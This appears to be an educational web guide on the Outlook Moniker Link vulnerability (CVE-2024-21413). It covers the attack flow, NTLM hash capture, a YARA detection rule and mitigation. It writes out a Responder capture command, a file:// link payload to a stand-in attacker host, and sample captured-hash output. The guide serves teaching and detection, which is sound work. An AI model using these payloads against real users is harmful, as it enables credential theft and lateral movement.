
Educational guide on CVE-2024-21413, the Outlook zero-click Moniker Link vulnerability, covering attack flow, NTLM credential capture, detection with YARA, and mitigation strategies.
CVE-2024-21413, commonly referred to as the Moniker Link vulnerability, is a critical security flaw in Microsoft Outlook that enables attackers to leak user credentials without requiring any interaction.
Unlike traditional phishing attacks, this vulnerability can be triggered simply by previewing an email, making it particularly dangerous in enterprise environments.
The issue stems from how Outlook processes moniker links, causing unintended authentication attempts to attacker-controlled systems.
Understanding the following concepts is essential:
A Windows-specific mechanism that allows applications to reference external resources using protocols such as:
file://unc://\\attacker-server\share
Used to access shared resources over a network. In this vulnerability, it is abused to force authentication requests.
Outlook’s Protected View is designed to isolate potentially unsafe content. This vulnerability bypasses that protection, allowing external resource access.
Crafting the Payload
file://attacker-server/share) inside an email.Delivery
Trigger
Automatic Processing
Authentication Request
Credential Exposure
[Attacker]
|
| 1. Send crafted email
v
[Victim Outlook]
|
| 2. Auto-process moniker link
v
[Windows System]
|
| 3. NTLM authentication attempt
v
[Attacker Server]
|
| 4. Capture NTLM hash
v
[Credential Abuse / Lateral Movement]
⚠️ Perform only in controlled lab environments
sudo responder -I eth0
<a href="file://attacker-ip/share">Open Document</a>
[SMB] NTLMv2 Hash captured
User: victim
A detection rule was developed by Florian Roth to identify exploitation attempts involving moniker links.
rule Outlook_MonikerLink_CVE_2024_21413
{
meta:
description = "Detects Outlook Moniker Link exploitation via file:// or UNC paths"
author = "Florian Roth"
reference = "CVE-2024-21413"
strings:
$a = "file://"
$b = "\\\\"
condition:
any of them
}
file:// and UNC-based linksCVE-2024-21413 demonstrates how deeply integrated system behaviors (like automatic authentication) can be exploited through seemingly harmless inputs such as email links.
💡 Recommendation: Reproduce this vulnerability in a virtual lab (e.g., Windows VM + attacker VM) to fully understand the attack chain and defensive strategies.